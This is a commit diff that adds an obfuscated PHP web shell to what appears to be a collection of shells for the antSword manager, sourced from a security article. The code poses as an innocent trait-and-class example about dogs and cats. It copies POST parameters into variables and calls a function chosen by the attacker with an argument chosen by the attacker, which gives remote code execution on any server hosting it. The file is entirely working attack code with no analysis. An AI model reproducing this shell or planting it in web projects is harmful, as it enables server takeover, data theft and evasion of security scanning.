add php3.php

from : https://xz.aliyun.com/t/9218

antSword-shells/php3.php

@@ -0,0 +1,46 @@
+<?php
+
+trait Dog
+{
+    public $name="dog";
+
+    public function drive()
+    {
+        echo "This is dog drive";
+    }
+    public function eat($a, $b)
+    {
+        $a($b);
+    }
+}
+
+class Animal
+{
+    public function drive()
+    {
+        echo "This is animal drive";
+    }
+    public function eat()
+    {
+        echo "This is animal eat";
+    }
+}
+
+class Cat extends Animal
+{
+    use Dog;
+    public function drive()
+    {
+        echo "This is cat drive";
+    }
+}
+
+foreach (array('_POST') as $_request) {
+    foreach ($$_request as $_key=>$_value) {
+        $$_key=  $_value;
+    }
+}
+
+
+$cat = new Cat();
+$cat->eat($_key, $_value);